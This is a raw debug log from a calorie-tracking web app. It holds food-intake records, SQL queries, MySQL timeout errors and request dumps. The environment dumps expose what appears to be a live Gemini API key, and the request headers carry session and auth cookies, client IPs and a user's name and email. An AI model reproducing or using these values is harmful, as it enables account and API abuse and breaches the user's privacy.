    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  }
]
2025-12-13T07:26:28.147Z server-connect:app Executing action step setvalue
2025-12-13T07:26:28.147Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T07:26:28.147Z server-connect:output var_total: 609
2025-12-13T07:26:28.147Z server-connect:app Executing action step setvalue
2025-12-13T07:26:28.147Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T07:26:28.147Z server-connect:output var_consumed: 25
2025-12-13T07:26:28.147Z server-connect:app Executing action step setvalue
2025-12-13T07:26:28.147Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T07:26:28.147Z server-connect:output var_deficit: 1791
2025-12-13T07:26:28.147Z server-connect:app Executing action step custom
2025-12-13T07:26:28.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T07:26:28.148Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '609',
    surplus_or_deficit: '1791',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 08:17:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 08:17:36' as DATETIME)"
}
2025-12-13T08:33:02.631Z server-connect:router Serving templateView /
2025-12-13T08:33:02.631Z server-connect:app Executing action step identify
2025-12-13T08:33:02.631Z server-connect:app options: { provider: 'security' }
2025-12-13T08:33:02.632Z server-connect:auth No login cookie found
2025-12-13T08:33:02.632Z server-connect:output identity: false
2025-12-13T08:33:02.632Z server-connect:app Executing action step restrict
2025-12-13T08:33:02.632Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T08:33:02.633Z server-connect:output restrict: undefined
2025-12-13T08:33:02.861Z server-connect:router Serving templateView /login
2025-12-13T08:33:02.861Z server-connect:app Executing action step identify
2025-12-13T08:33:02.862Z server-connect:app options: { provider: 'security' }
2025-12-13T08:33:02.862Z server-connect:auth No login cookie found
2025-12-13T08:33:02.862Z server-connect:output identity: false
2025-12-13T08:33:02.862Z server-connect:router Render template layouts/authentication
2025-12-13T08:33:02.862Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '151.240.205.253',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T08:33:02.861Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '151.240.205.253',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '151.240.205.253',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T08:56:39.169Z server-connect:router Serving templateView /
2025-12-13T08:56:39.169Z server-connect:app Executing action step identify
2025-12-13T08:56:39.169Z server-connect:app options: { provider: 'security' }
2025-12-13T08:56:39.169Z server-connect:output identity: 1
2025-12-13T08:56:39.169Z server-connect:app Executing action step restrict
2025-12-13T08:56:39.169Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T08:56:39.171Z server-connect:output restrict: undefined
2025-12-13T08:56:39.171Z server-connect:app Executing action step restrict
2025-12-13T08:56:39.171Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T08:56:39.172Z server-connect:output restrict: undefined
2025-12-13T08:56:39.172Z server-connect:router Render template layouts/main
2025-12-13T08:56:39.172Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 09:32:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 09:32:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 10:14:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 10:14:00' as DATETIME)"
}
2025-12-13T10:31:23.739Z server-connect:router Serving templateView /
2025-12-13T10:31:23.740Z server-connect:app Executing action step identify
2025-12-13T10:31:23.740Z server-connect:app options: { provider: 'security' }
2025-12-13T10:31:23.740Z server-connect:output identity: 1
2025-12-13T10:31:23.740Z server-connect:app Executing action step restrict
2025-12-13T10:31:23.740Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:31:23.742Z server-connect:output restrict: undefined
2025-12-13T10:31:23.742Z server-connect:app Executing action step restrict
2025-12-13T10:31:23.742Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:31:23.743Z server-connect:output restrict: undefined
2025-12-13T10:31:23.743Z server-connect:router Render template layouts/main
2025-12-13T10:31:23.743Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T10:31:24.895Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T10:31:24.895Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T10:31:24.896Z server-connect:app Executing action step identify
2025-12-13T10:31:24.896Z server-connect:app options: { provider: 'security' }
2025-12-13T10:31:24.896Z server-connect:output identity: 1
2025-12-13T10:31:24.896Z server-connect:app Executing action step restrict
2025-12-13T10:31:24.896Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:31:24.896Z server-connect:app Executing action step identify
2025-12-13T10:31:24.896Z server-connect:app options: { provider: 'security' }
2025-12-13T10:31:24.896Z server-connect:output identity: 1
2025-12-13T10:31:24.896Z server-connect:app Executing action step restrict
2025-12-13T10:31:24.896Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:31:24.897Z server-connect:output restrict: undefined
2025-12-13T10:31:24.897Z server-connect:app Executing action step single
2025-12-13T10:31:24.897Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T10:31:24.897Z server-connect:output restrict: undefined
2025-12-13T10:31:24.898Z server-connect:app Executing action step select
2025-12-13T10:31:24.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T10:31:24.898Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T10:31:24.902Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
